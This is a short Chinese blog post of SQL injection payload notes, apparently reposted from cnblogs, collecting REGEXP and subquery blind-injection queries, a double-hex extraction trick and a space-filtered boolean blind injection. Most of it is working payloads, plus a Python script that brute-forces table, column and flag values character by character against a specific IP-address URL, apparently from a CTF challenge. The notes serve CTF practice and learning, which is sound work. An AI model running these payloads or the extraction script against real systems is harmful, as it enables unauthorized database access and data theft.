SQL注入 payload 记录

使用 REGEXP盲注

payload

select user() from users where user_id=1 and (select(user)from users where user_id=1) REGEXP "^adm.*";

来源

https://www.secpulse.com/archives/68991.html

使用 (子查询) in ("x") 盲注

Payload

通过 mid 取字符, 然后 in 来判断

select user() from users where user_id=1 and (select(mid(user,1,1))from users where user_id=1) in ("a");

来源

https://xz.aliyun.com/t/2619#toc-5

注入发生在 select 和 from 中间

两次 hex , 取数据

select '0'+(select hex(hex(database())))+'0' from users;

1454902-20180824100518004-328564929.png

一定要 两次 hex

substr 使用 from for 语法 ,取长数据

select '0'+(substr((select hex(hex(database()))) FROM 1 for 6))+'0' from users;

1454902-20180824101157820-1720117754.png

来源

https://xz.aliyun.com/t/2619#toc-3

过滤空格布尔盲注

^ 代替 = && () 代替空格

SELECT student_number FROM student WHERE id='1'^(ascii(mid((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),1,1))=1)='1';

整数和字符比较,会进行转换

使用 异或 ^ 代替 =

import requests

flag = ""
for i in range(1,300):
    for j in range(33,127):
        # url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),"+str(i)+",1))="+str(j)+")"
        # url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='do_y0u_l1ke_long_t4ble_name')),"+str(i)+",1))="+str(j)+")"
        # url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1))="+str(j)+")"
        url = "http://119.23.73.3:5004/?id=1'^(ascii(mid((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),{},1))={})='1".format(i,j)


        # print url
        r=requests.get(url=url)
        if "Hello" not in r.content:
            flag +=chr(j)
            print flag
            break

来源

http://skysec.top/2018/01/31/moctf-Web%E9%A2%98%E8%A7%A3/#%E7%AE%80%E5%8D%95%E6%B3%A8%E5%85%A5

转载于:https://www.cnblogs.com/hac425/p/9514887.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值